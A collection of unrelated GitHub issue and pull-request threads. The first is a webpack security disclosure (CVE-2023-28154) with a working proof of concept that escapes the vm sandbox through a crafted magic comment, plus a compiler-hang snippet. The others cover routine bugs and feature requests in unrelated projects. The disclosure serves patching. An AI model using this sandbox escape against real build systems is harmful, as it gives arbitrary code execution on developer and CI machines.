Does this PR introduce a breaking change?
no

What needs to be documented once your changes are merged?
nothing

Thanks

finally a new release! this PR is actually a security fix. can I reveal the detail now?

webpack has a feature called magic comment, it looks like this:
import(
  /* webpackChunkName: "my-chunk-name" */
  /* webpackMode: "lazy" */
  /* webpackExports: ["default", "named"] */
  'module'
);

This comment can be any arbitrary JavaScript code. It accepts strings, arrays, and RegExp, here is where we dive in. Note: I'll reference the commit before this PR.
Webpack executes the magic comment using the Node's vm module.
https://github.com/webpack/webpack/blob/7e8260a86cc3b8183dd76572981f7aa5f1b485ee/lib/javascript/JavascriptParser.js#L3644
This is very subtle and easy to make a fragile "sandbox" and webpack actually made a mistake here.
https://github.com/webpack/webpack/blob/7e8260a86cc3b8183dd76572981f7aa5f1b485ee/lib/dependencies/ImportParserPlugin.js#L172-L174
Here it access "every" property from an untrusted object and passes a function in. By crafting the following code, we can get access to the real global object:
const source = import(/* webpackExports: ((() => {
    const array = ["a"]
    array.every = function (fun) {
        //                  ~~~ provided by webpack
        const realGlobalThis = fun.constructor('return this')()
        //                     ~~~~~~~~~~~~~~~ the real Function
        const require =
realGlobalThis.process.mainModule.constructor.createRequire(realGlobalThis.process.argv[1])
        //    ~~~~~~~ full power! now we can do anything we want.
        const fs = require("fs")
        const path = require("path")
        fs.writeFileSync(path.join(realGlobalThis.process.cwd(),
"test.txt"), "oops")
        return Reflect.apply(Array.prototype.every, array, [fun])
    }
    return array
})()) */ './next.js')

This PR ensures values from the VM are being sanitized by JSON.parse(JSON.stringify(val)). It's still possible to hang the compiler forever by writing the following code, but it's less dangerous.
const source = import(/* webpackExports: ((() => {
    while (true) {}
})()) */ './next.js')

yes I have already requested one, let's wait

@Jack-Works which versions of webpack are affected? Just 5, or also older majors?

@Jack-Works which versions of webpack are affected? Just 5, or also older majors?

Older majors are also affected.

Given that v4 has 8.4M downloads/week compared to v5's 500K, i dearly hope this fix is backported to v4.

@ljharb @Jack-Works  I think v4 is not affected https://github.com/webpack/webpack/blob/v4.46.0/lib/dependencies/ImportParserPlugin.js

@Jack-Works Good investigation, thank you, do you want to open CVE for it?

it's CVE-2023-28154 waiting for them to publish.

Yes, just update webpack

@ljharb @Jack-Works 我认为 v4 不受影响https://github.com/webpack/webpack/blob/v4.46.0/lib/dependencies/ImportParserPlugin.js

不对，v4也是受影响的：具体看parseCommentOptions方法
https://github.com/webpack/webpack/blob/v4.46.0/lib/Parser.js

@jadepam Yeah, looks like it was in another file, we need backport

@alexander-akait Is Webpack 4 affected by this security issue? If yes, by when do we expect a backport?

@akcsi Not really, I wouldn't say it's a vulnerability - you shouldn't build code that you don't trust, for example - val-loader, some plugins and loaders execute code, even require("./code-to-be-executed.js!") will be a problem if you run it on untrusted code...

@alexander-akait Thank you for this answer. Can it at least be said that using webpack 4 has the same risk as webpack <5.76.0 regarding this security issue ?

Good find @Jack-Works !
From an exploitability perspective, does this only affect build process / machine / runner? My interpretation of the above is that an attacker would have to submit malicious input into the repo / CI/CD and it would only get executed at build time, on the build machine / runner. After webpack runs, the remaining static js bundles would not include any malicious code, right?
I noticed that your CVE was scored with network attack vector in NVD. https://nvd.nist.gov/vuln/detail/CVE-2023-28154
Can you help us understand where an attacker needs to be to exploit this? Did you select network because an attacker can submit code to github? The exploit would only be triggered by build existing process on the build machine / runner, right?

Good find @Jack-Works !
From an exploitability perspective, does this only affect build process / machine / runner? My interpretation of the above is that an attacker would have to submit malicious input into the repo / CI/CD and it would only get executed at build time, on the build machine / runner. After webpack runs, the remaining static js bundles would not include any malicious code, right?

This attack requires the code compiled is already malicious (therefore the output may not be clean already). Yes, it only attacks the builder, but the developer's computer is also a builder.

Did you select network because an attacker can submit code to github? The exploit would only be triggered by existing build process on the build machine / runner, right?

Yes. Yes.


FP16 Performance Degradation in ParallelGPT

I made a few changes to the architecture (added an output embedding bias). And I was able to succesffuly map the weights (#186). I made the change to both GPT and ParallelGPT. In the GPT case, I get the expected output for both FP32 and FP16. But in the case of ParallelGPT (for the same model with tp=1, pp=1), FP16 decoding/sampling is random (but works perfectly well in FP32). Are there any other changes in ParallelGPT that needs to be added to make FP16 work (parallelattention, parallelffnlayers etc)

I am using the pytorch docker nvcr.io/nvidia/pytorch:20.12-py3 contains the PyTorch 1.8.0 and python 3.8

Solved, the sampling temeperature penalty kernel does not supprot fp16. Instead use InvokeAddBias kernel


Ability to disable docker image pull on every time I run supabase start

Is your feature request related to a problem? Please describe.
It is frustrating to see supabase start keeps downloading docker images.
Last night it was a fresh installation. And within 12 hours or so, it is pulling new images.
Describe the solution you'd like
The solution can be a flag to disable checking of new image versions.
Describe alternatives you've considered
No idea. Probably it is not for someone with slow internet.
Additional context

Did you check the versions of images downloaded? We update your local image versions to match the remote project when you link it. If the remote image doesn't exist, it is necessary to download it. There isn't really a situation where we can skip this download.


react-addons-shallow-compare is deprecated, prefer React.PureComponent

Hi,
Just saw react-addons-shallow-compare was a new dependency introduced in the last version.
From the docs: https://www.npmjs.com/package/react-addons-shallow-compare, it is deprecated and React.PureComponent should be used instead.
Thanks,

Thanks for reporting, that needs to be updated, that’s true.

react-addons-shallow-compare isn’t part of this project anymore.


when show hiding the line chart not working as expected

Initially I will hide the chart, after based one condition I want to show the chart at that time its not showing .After increasing or decreasing the window size line chart  will show.

Got the same problem, fixed by giving initializing width & height in chart options.
If you don't pass width & height in options it will use their value from defaultOptions which are predefined as undefined!
By the way, tnx for great light weight lib :)

Thanks! Glad you are enjoying it.


Fix cluster scope and CNI branch

Cherrypick #17710 and #16682
Please provide a description for what this PR is for.
And to help us figure out who should review this PR, please
put an X in all the areas that this PR affects.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

@howardjohn: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/integ-mixer-k8s-presubmit-tests.sh
56191958e687bc44325b571a08ffe3946d1ead15
link
/test integ-mixer-k8s-presubmit-tests-release-1.2

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

/cherrypick release-1.1

@howardjohn: new pull request created: #17816

In response to this:

/cherrypick release-1.1

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.


On reloading of the UI the hotbar background won't render anymore

If you exit and rejoin a multiplayer server, or if you manually trigger this by pressing F5 in game the UI will reload and the item hotbar background won't render anymore and the UI scaling is not affecting the hotbar anymore.
Presumably this reloads the contents of the browser the UI uses so the content needs to be reinjected.

[x] Hook into the UI reload call to reinject the UI content in the browser
[x] Test if the UI renders properly after pressing F5
[x] Test if the UI scaling still works properly after pressing F5

Issue is now fixed with https://github.com/stefanhaan/Staxel-Sunbeam/issues/2 being incorporated. With the rewrite of https://github.com/stefanhaan/Staxel-ItemWheelMod/pull/3 the UI injection now uses the proper method to hook into it.


How to create codeigniter cron job in windows task scheduler

i want to create cron job for codeigniter. then how can i create codeigniter cron job in windows task scheduler.?

Github is for bug fixes, not support.
Ask your quesiton on forum.codeigniter.com
Do not double (or triple or wuadruple) post!!


Night skipping message gets spammed in chat

Hi there,
it appears so that at random we will get a huge ammount to spam in chat when skipping the night..
this will look something like this:   https://imgur.com/QdBEPDM
The harbor config file looks like:   https://pastebin.pl/view/7a0805f6
We are running harbor version 1.6.1 on paper MC build 99. But we have also experienced this on previous versions of papermc.
Would you guys happen to have an idea what would be causing this night skip spam?
Kindly thanks for your reply

This is a possible edge case that can happen when it's thundering and the weather clearing feature is disabled, since people are able to continue sleeping even after the night has been skipped. Your config link isn't loading for me, but I am assuming you might have weather clearing disabled.
The latest pre-release build of Harbor, which you can get from the releases section of this repository, should have fixed this issue. Just make sure to regenerate your configuration file if you plan to update to that version.

you are correct. this is our config file. we have "weather: false". ill download the version 1.6.2 Beta 6 and run a fresh config file. ofcourse tweak that with our dutch language file, and try if this will fix it. i will report back if i have an update.

works like a charm. thanks !


Missing spacing in output

Discussed in https://github.com/gitext-rs/git-stack/discussions/205

Originally posted by arxanas March 16, 2022
Observe this output:
$ git stack
master cleanup(bug_report): add a comment about explicit listing of fields
├─┐
│ ⌽ no-dedup (pushed) feat(move): add `--no-deduplicate-commits` option
├─┐
│ ⌽ d5736d7 temp: work on moving individual commits
│ ⌽ move-individual-commits (pushed) temp: more move individual commits
├─┐
│ ⌽ 29e0946 build: remove dependency on `git-revset`
│ ⌽ a85da5f build: run `cargo upgrade`
│ ⌽ dependabot (pushed) build: add `dependabot.yml`
⌽ 62128e9 fix(effects): fix for often-updated nested operations
⌽ 315d64b fix(rewrite): use existing progress reporting
⌽ progress (pushed) effects: strip ANSI codes from sub-operation output

I think there should be an extra semi-blank line for the last branch, like this:
[tw-mbp-wkhan git-branchless (master)]% git stack
master cleanup(bug_report): add a comment about explicit listing of fields
├─┐
│ ⌽ no-dedup (pushed) feat(move): add `--no-deduplicate-commits` option
├─┐
│ ⌽ d5736d7 temp: work on moving individual commits
│ ⌽ move-individual-commits (pushed) temp: more move individual commits
├─┐
│ ⌽ 29e0946 build: remove dependency on `git-revset`
│ ⌽ a85da5f build: run `cargo upgrade`
│ ⌽ dependabot (pushed) build: add `dependabot.yml`
│
⌽ 62128e9 fix(effects): fix for often-updated nested operations
⌽ 315d64b fix(rewrite): use existing progress reporting
⌽ progress (pushed) effects: strip ANSI codes from sub-operation output

Otherwise, all but the last branch have a contentless line preceding them.

v0.7.1 is now released with this fix


chore: delete unused docs file gen from sealer bin

Describe what this PR does / why we need it
Does this pull request fix one issue?

Describe how you did it
we are planning move all command line docs generated by sealer binary files to the sealer  official website. so i delete the unused files
Describe how to verify it
Special notes for reviews

Codecov Report
Base: 21.12% // Head: 21.12% // No change to project coverage :thumbsup:

Coverage data is based on head (ef84e30) compared to base (145eb4c).
Patch has no changes to coverable lines.

Additional details and impacted files
@@           Coverage Diff           @@
##             main    #1863   +/-   ##
=======================================
  Coverage   21.12%   21.12%
=======================================
  Files          74       74
  Lines        6760     6760
=======================================
  Hits         1428     1428
  Misses       5146     5146
  Partials      186      186

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Error Notifier: No LIMIT on Error SOQL Query Can Result In 50,000 Row Limit or Heap Size Errors

Do you want to request a feature or report a bug?
Bug

What is the current behavior?
Customers with large volume of Error records are at risk of heap size errors or the 50,000 row limit error when the EDA Error Notifier runs.

StackTrace from Heap Size Error:
ExtendedMessage: Apex script unhandled exception by user/organization: 005xxxxxxxxxxxx/00Dxxxxxxxxxxxx
Failed to invoke future method 'private static void sendErrorQueueEmailNotificationFuture(List<String>)' on class 'hed.ERR_Notifier' for job id '707xxxxxxxxxxxx'
caused by: System.LimitException: Apex heap size too large: 13498444
External entry point
Class.hed.ERR_Notifier.sendErrorQueueEmailNotification: line 130, column 1
Class.hed.ERR_Notifier.sendErrorQueueEmailNotificationFuture: line 115, column 1

Root Cause
When ERR_Notifier's sendErrorQueueEmailNotification() method is called, we run a SOQL query to gather all Error__c records where Email_Sent__c = false. If this is > 50,000 records, an error is thrown (again) and the notification isn't actually sent. Likewise, if a customer has thousands of Error records not yet sent and their Full_Message__c field is lengthy, this can result in heap size errors.
Steps to Repeat in a Scratch Org:

Ensure Education Cloud Settings are set to email All Sys Admins.
Create 50,001 Error__c records in an EDA org.
Verify that when the Error Notifier runs, there is a 50K row error for the job in Setup --> Apex Jobs.

Workaround
Typically, we would suggest that the customer fixes the issue(s) that caused all of the Error records to be created in the first place. And then start either deleting some of the older Error records or mark Email_Sent__c to TRUE so that they are excluded from the query going forward.
Product Recommendations
Place a limit on records being pulled into ERR_Notifier (total records and/or time-based).

W-10003846

Please follow this Known Issue in the Trailblazer Community for updates.


Implement Deno compatible API

#473 might partly solve this.
But we should also have an API compatible with Deno's Reader and Writer interfaces.
This should be published as a separate Deno module.

Done in v6.


Use request lib in xmlrpc

refs #9178, refs https://github.com/TryGhost/Ghost/pull/8980
I am not really sure how to test that. @AileenCGN Any idea?

I don't know how to test this manually either, @kirrg001...

@ErisDS Any idea how to test the change?

@kirrg001 Can you rebase this pretty please? I will check it again tomorrow and would like to merge it then, once I figured a good way to test it.

did 👍

@kirrg001 I tested this whilst logging the response body and the refactoring to use got seems to work fine. Nevertheless, I received this message: server error. requested method weblogUpdate.ping does not exist. from trying to ping the Ping-O-Matic service. Unfortunately, I couldn't find any official docs/announcements, but seeing this seems to say, that this service doesn't exist anymore.
Maybe someone else knows about it? If not, I'd suggest that we remove the service?

Catching up on my last statement, we found the original issue with this comment:

https://github.com/TryGhost/Ghost/issues/2148#issuecomment-37603415

Ping-O-Matic doesn't bother returning a confirmation - so I have no idea if that service still works (or if my request is broken)

So maybe it's always been like this. Do you have any information regarding this, @halfdan?
If not, I suggest we keep it in there for now. We can always open a new PR to delete it, if it turns out that it definitely doesn't work anymore.

@AileenCGN agree